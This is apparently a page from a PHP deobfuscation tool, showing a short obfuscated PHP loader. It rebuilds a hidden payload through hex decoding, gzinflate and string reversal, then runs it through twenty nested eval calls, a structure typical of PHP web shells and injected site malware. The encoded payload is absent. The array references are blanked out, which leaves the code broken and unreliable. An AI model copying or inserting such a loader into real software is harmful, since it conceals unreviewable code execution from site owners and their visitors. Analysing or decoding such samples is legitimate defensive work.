PHP Decode

<?  if(!function_exists($GLOBALS[][0])){function hex2bin($hexstr){$n=strlen($hexstr);$sbin=$GLOBALS[][0x001];$i=0;while($i<$n){$a=substr($hexstr,$i,0x0002);$c=pack($GLOBALS[][0x0002],$a);if($i==0){$sbin=$c;}else{$sbin.=$c;}$i+=0x0002;}return $sbin;}}function _bAcF($_lyu6P){$_lyu6P=substr($_lyu6P,(int)(hex2bin($GLOBALS[][0x00003])));$_lyu6P=substr($_lyu6P,(int)(hex2bin($GLOBALS[][0x000004])),(int)(hex2bin($GLOBALS[][0x05])));return $_lyu6P;}$_7ZMc9yb=$GLOBALS[][0x006];$_SvISS1k=$GLOBALS[][0x0007];function _YoCBxHpvTd13ear7t24La($_PP4h7mA){global$_7ZMc9yb;global$_SvISS1k;return strrev(gzinflate($_SvISS1k(_bAcF($_PP4h7mA))));}eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(_YoCBxHpvTd13ear7t24La($GLOBALS[][0x00008]))))))))))))))))))))); ?>